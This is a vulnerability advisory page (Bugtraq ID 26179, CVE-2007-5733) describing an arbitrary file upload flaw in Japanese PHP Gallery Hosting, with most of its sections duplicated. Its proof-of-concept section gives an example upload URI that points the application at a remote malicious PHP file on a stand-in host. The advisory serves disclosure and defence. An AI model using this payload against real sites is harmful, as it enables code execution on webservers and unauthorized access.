Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
BID:26179
Info
Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
| Bugtraq ID: | 26179 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-5733 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 23 2007 12:00AM |
| Updated: | Nov 15 2007 12:37AM |
| Credit: | Pete Houston discovered this issue. |
| Vulnerable: |
Japanese PHP Gallery Hosting Japanese PHP Gallery Hosting 0 |
| Not Vulnerable: | |
Discussion
Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.
Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.
Exploit / POC
Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
Attackers may exploit this issue through a browser.
The following example URI is available:
http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension
Attackers may exploit this issue through a browser.
The following example URI is available:
http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension
Solution / Fix
Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
NOTE: Reports indicate that this issue may have been addressed in a version that was released in October 2007. Symantec has not confirmed this.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].
NOTE: Reports indicate that this issue may have been addressed in a version that was released in October 2007. Symantec has not confirmed this.
References
Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability
References:
References: